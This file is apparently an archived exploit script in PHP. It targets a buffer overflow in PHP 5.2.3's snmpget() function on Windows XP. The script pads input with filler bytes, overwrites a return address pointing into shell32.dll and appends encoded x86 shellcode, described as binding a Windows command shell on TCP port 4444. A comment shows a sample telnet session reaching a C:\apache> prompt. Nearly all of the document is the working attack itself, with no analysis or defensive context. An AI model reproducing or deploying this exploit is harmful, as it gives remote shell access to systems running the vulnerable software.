php523snmpget-overflow.txt

`<?php  
/*  
Inphex  
reference ->http://milw0rm.com/exploits/4204  
317 Bytes , Windows Command Shell Bind TCP Inline , Architecture x86 , Windows TinyXP - vm.  
GET /script.php HTTP/1.1\n  
  
telnet 192.168.2.32 4444  
Microsoft Windows XP [Version 5.1.2600]  
(C) Copyright 1985-2001 Microsoft Corp.  
  
C:\apache>  
*/  
if (!extension_loaded("snmp")) {  
die("snmp extension required!");  
}  
$buffer = str_repeat("A",254);  
$ret = "\xD7\x98\x95\x7C"; #shell32.dll ->CALL EDI WindowsXP  
$shellcode=  
"\xbd\xdb\xc6\x38\x8f\xd9\xc9\xd9\x74\x24\xf4\x58\x31\xc9" .  
"\xb1\x51\x83\xc0\x04\x31\x68\x0e\x03\xb3\xc8\xda\x7a\xbf" .  
"\xbf\xf1\xc8\xd7\xb9\xf9\x2c\xd8\x5a\x8d\xbf\x02\xbf\x1a" .  
"\x7a\x76\x34\x60\x80\xfe\x4b\x76\x01\xb1\x53\x03\x49\x6d" .  
"\x65\xf8\x3f\xe6\x51\x75\xbe\x16\xa8\x49\x58\x4a\x4f\x89" .  
"\x2f\x95\x91\xc0\xdd\x98\xd3\x3e\x29\xa1\x87\xe4\xfa\xa0" .  
"\xc2\x6e\xa5\x6e\x0c\x9a\x3c\xe5\x02\x17\x4a\xa6\x06\xa6" .  
"\xa7\x5b\x1b\x23\xbe\x37\x47\x2f\xa0\x04\xb6\x94\x46\x01" .  
"\xfa\x1a\x0c\x55\xf1\xd1\x62\x49\xa4\x6d\xc2\x79\xe8\x19" .  
"\x4d\x37\x1a\x36\x01\x38\xf4\xa0\xf1\xa0\x91\x1f\xc4\x44" .  
"\x15\x13\x1a\xcb\x8d\x2c\x8a\x9b\xe6\x3e\xd7\x60\xa9\x3f" .  
"\xfe\xc9\xc0\x25\x99\x74\x3f\xad\x64\x23\xaa\xac\x97\x1b" .  
"\x42\x68\x6e\x6e\x3e\xdd\x8e\x46\x12\xb1\x23\x35\xc6\x76" .  
"\x97\xfa\xbb\x87\xc7\x9a\x53\x69\xb4\x04\xf7\x00\xa5\x5d" .  
"\x9f\xb6\x3c\x2d\xa7\xe0\xbf\x1b\x4d\x1f\x11\xf6\x6d\xcf" .  
"\xf9\x5c\x3c\xde\x10\xcb\xc0\xc9\xb0\xa6\xc1\x26\x5e\xad" .  
"\x77\x41\xd6\x7a\x77\x9b\xb9\xd0\xd3\x71\xc5\x08\x48\x11" .  
"\xde\xd1\xa9\x9b\x77\xde\xe0\x09\x87\xf0\x6b\xd8\x13\x96" .  
"\x1b\x7f\xb1\xdf\x39\x15\x19\x86\xe8\x26\x10\xdf\x81\xf2" .  
"\xaa\xfd\x67\x3b\x5f\xab\x76\xf9\x8d\x55\xc4\xd2\x5e\x24" .  
"\xb3\x12\xca\x9d\xef\x0b\x7e\x1f\x5c\xdd\x81\xaa\xe7\x1d" .  
"\xab\x0f\xbf\xb3\x05\xfe\x6e\x5e\xa7\x51\xc0\xcb\xf6\xae" .  
"\x32\x9b\x55\x89\xb6\x92\xf5\xd6\x6f\x40\x05\xd7\xa7\x6a" .  
"\x29\xac\x9f\x68\x49\x76\x7b\x6e\x98\x24\x7b\x40\x4d\x38" .  
"\x09\x65\xd1\xeb\xf1\xb0\x12\xdb\x0e\x3d\xed";  
snmpget (1, 1, $buffer."\xeb\x04".$ret."".$shellcode."");  
?>  
  
`